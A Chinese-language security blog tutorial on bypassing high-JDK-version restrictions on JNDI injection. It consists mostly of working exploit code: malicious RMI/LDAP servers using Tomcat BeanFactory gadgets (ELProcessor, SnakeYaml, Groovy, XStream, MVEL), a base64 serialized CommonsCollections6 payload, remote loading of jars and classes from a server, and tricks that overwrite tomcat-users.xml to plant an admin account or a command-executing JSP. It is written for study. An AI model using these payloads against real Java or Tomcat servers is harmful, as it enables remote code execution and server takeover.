JNDI绕过高版本jdk限制1
限制:
1 | JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 |
绕过
jdk8u121-jdk8u191: 就是把rmi协议改成ldap协议就行
jdk8u191之后:
本地类作为Reference Factory
那些类的要求:
- 传入的 Factory 类必须实现 ObjectFactory 接口类,至少有一个getObjectInstance()方法
- 恶意类的只有一个参数,参数类型是String.class的可以执行危险函数
ELProcessor
poe.xml:1
2
3
4
5
6
7
8
9
10
11
12
13<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>
这里直接抄的Drun1baby师傅的代码:
服务端:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端
public class testbypass {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval'
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteObj", referenceWrapper);
}
}
客户端:1
2
3
4
5
6
7
8
9
10import javax.naming.Context;
import javax.naming.InitialContext;
public class testbypass {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}
lookup处和NamingManage的getObjectInstance()处下断点
调试的时候进入:
通过 loadClass()
方法来加载我们传入的 org.apache.naming.factory.BeanFactory
类,然后新建该类实例并将其转换成 ObjectFactory
类型,也就是说,我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory
正好满足这一点
然后退回NamingManager类接着走下面,进入BeanFactory的getObjectInstance()方法里:
这里首先就判断ref是不是ResourceRef的子类,这也是为什么我们的payload构造的是ResourceRef对象
后面进行了一系列的赋值操作
ra变量是我们传入的forceString的addr值,后面的for循环会将我们传入的x=eval分割开,propName是”eval”,param是”x”,这里的propName本来是x的set方法:setX,这里被换成了eval()方法,后面把它push进入foreced这个HashMap里面去
==这里有个点就是这个method的方法是通过propName来确定的,参数类型找的是String.class
所以我们找到目标类是那些只有一个参数,参数类型是String.class的可以执行恶意代码的类
而这里是用的javax.el.ELProcessor.eval()方法就满足条件==
然后有一个非常多嵌套的do while循环,我们的e变量有五个数组,四个的addrType都是while判断语句里的,只有最后一个x不是,可以跳出循环
后面就是调用恶意eval方法了,value就是我们传入的恶意表达式
成功弹出计算器
SnakeYaml
1 | <dependency> |
原理都是利用本地类,这里找到的是org.yaml.snakeyaml.Yaml().load(String)
服务端:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ldapbypass {
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcat_snakeyaml());
registry.bind("remoteObj", referenceWrapper);
}
}
客户端:1
2
3
4
5
6
7
8
9
10import javax.naming.Context;
import javax.naming.InitialContext;
public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/remoteObj");
}
}
yaml-payload.jar的GitHub地址: https://github.com/artsploit/yaml-payload
编译打包:1
2javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
GroovyClassLoader
poe.xml1
2
3
4
5<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>
服务端:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ldapbypass {
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("b", "Evil"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcatGroovyClassLoader());
registry.bind("remoteObj", referenceWrapper);
}
}
客户端:1
2
3
4
5
6
7
8
9
10import javax.naming.Context;
import javax.naming.InitialContext;
public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/remoteObj");
}
}
要提前写好Evil.grovvy1
2@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}
开启临时服务器,注意同目录不要有Evil.class,不然会优先访问Evil.class不会触发漏洞
GroovyShell
还是和一个包,不用到依赖了,就是换个类和方法,这里用的方法是groovy.lang.GroovyShell.evaluate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ldapbypass {
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=evaluate"));
String script=String.format("'%s'.execute()","calc");
ref.add(new StringRefAddr("a", script));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcatGroovyClassLoader());
registry.bind("remoteObj", referenceWrapper);
}
}
客户端代码一样的,这回不需要Evil.groovy文件
XStream
com.thoughtworks.xstream.XStream().fromXML(String)
方法也可以
poe.xml1
2
3
4
5<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
就修改下那个返回ResourceRef对象的方法,其他的都一样的步骤,这里直接贴的原文的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>calc</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}
MVEL
org.mvel2.sh.ShellSession#exec(String)可以通过push执行execute来执行命令
1 | <dependency> |
1 | private static ResourceRef tomcat_MVEL(){ |
这里先把传入的push Runtime.getRuntime().exec('calc');
赋值给inTokens变量
然后进入if判断语句,this.commands
有9个内置的数据
我们已经传了push了可以进入if语句,然后把数组第二个元素赋值给passParameters变量
然后调用((Command)this.commands.get(inTokens[0])).execute(this, passParameters);
执行命令
弹出计算器
NativeLibLoader
com.sun.glass.utils.NativeLibLoader的loadLibrary(String)方法
有一个system.load(libFileName)
,可以加载指定路径的动态链接库文件
Windows下做个弹计算器的dll1
2
3
4
5
6
7
__attribute__ ((__constructor__)) void preload (void){
system("open -a Calculator");
}
1 | # macOS |
1 | private static ResourceRef tomcat_loadLibrary(){ |
这里我在Windows下没有复现成功,调试发现
尝试了很多种路径的写法都不行,后面调了两个小时找到了原因,这个路径的拼接问题,我的calculator.dll放在"C:\Users\30779\Desktop\共享\payload\calculator.dll"
的,但是拼接的时候获取的是NativeLibLoader.class的路径,我本地是安装在E:\Java\java-8u201\jdk8u-201\jre\lib\
的
之前的路径拼接是有问题的,因为E盘的文件夹内不管多少的../最终都回到E://,而后面接着C://就不符合Windows的路径规则
这里执行之后res会成功解析出E:\calculator.dll
而我们本地已经把dll文件复制到E盘了
因此最后执行成功,弹出计算器
利用LDAP返回序列化对象
LDAP服务端不仅支持JNDI Reference的利用方式,还支持直接返回一个序列化的对象,当Java对象的javaSerializedData属性值不为空时,客户端的obj.decodeObject()方法就会对这个字段的内容反序列化
yso生成一个cc6的payload:1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
ldap server:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class ldapbypass {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://111.229.158.40:8000/#Evil";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
poe.xml1
2
3
4
5<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
客户端:1
2
3
4
5
6
7
8
9
10<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
java代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16//import com.alibaba.fastjson.JSON;
import javax.naming.Context;
import javax.naming.InitialContext;
public class testbypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/Evil");
// Fastjson反序列化JNDI注入Gadget触发
// String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
// JSON.parse(payload);
}
}
调用栈:1
2
3
4
5
6
7
8
9
10readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:10, testbypass
XXE&RCE
XXE
org.apache.catalina.users.MemoryUserDatabaseFactory
的getObjectIntance()方法
先创建一个MemoryUserDatabase对象,获取pathname和readonly属性调用setter方法赋值给新数据库对象
然后调用open()函数InputStream is = uConn.getInputStream();
这里发起的http请求,这里把xml解析的结果赋给user,role,group,最后调用parse函数解析
把之前的http请求信息parse处理1
2
3
4
5
6private static ResourceRef XXEexp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
return ref;
}
exp.xml1
2
3
4
<root/>
RCE
创建管理员账号密码
这里利用的是MemoryUserDatabase的save方法
这里需要经过 isWriteable()==true
的判断
这里的new File(System.getProperty("catalina.base"), this.pathname)
把tomcat的安装目录和可控的pathname拼接组成文件名生成一个File对象
==所以这个目录必然不存在、不是目录、不可写,也就无法通过判断==
这里可以利用目录跳转:
假设catalina.base是/usr/apache-tomcat-8.5.73/
,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml
拼接的路径是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml
getParentFile 获取到的是 /usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/
在 Windows 下这样没问题,但如果是Linux系统的话,需要存在http:和127.0.0.1:8888这两个目录
Windows:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ldapbypass {
private static ResourceRef exp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry( 1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.exp());
registry.bind("remoteObj", referenceWrapper);
}
}
xml:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
在conf目录的那一级开python临时http服务器
我这里环境出了点状况没复现成功
Linux下需要先创建那两个目录,再执行xml覆盖,这里创建目录用的org.h2.store.fs.FileUtils的createDirectory
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
private static ResourceRef tomcatManagerAdd() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
最终覆盖xml文件可以直接去/manager路由登录管理员
执行jsp
写个jsp1
2
3
4
5
6
7
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc.exe"); %>"/>
</tomcat-users>
存在webapps/ROOT/test.jsp
在webapps开启临时服务器
1 | private static ResourceRef exp(){ |
参考
- https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
- https://www.viewofthai.link/2023/01/12/%E9%AB%98%E7%89%88%E6%9C%ACjdk%E4%B8%8Bjndi%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%EF%BC%88%E4%B8%8A%EF%BC%89/
- https://tttang.com/archive/1405/
- https://www.cnblogs.com/bitterz/p/15946406.html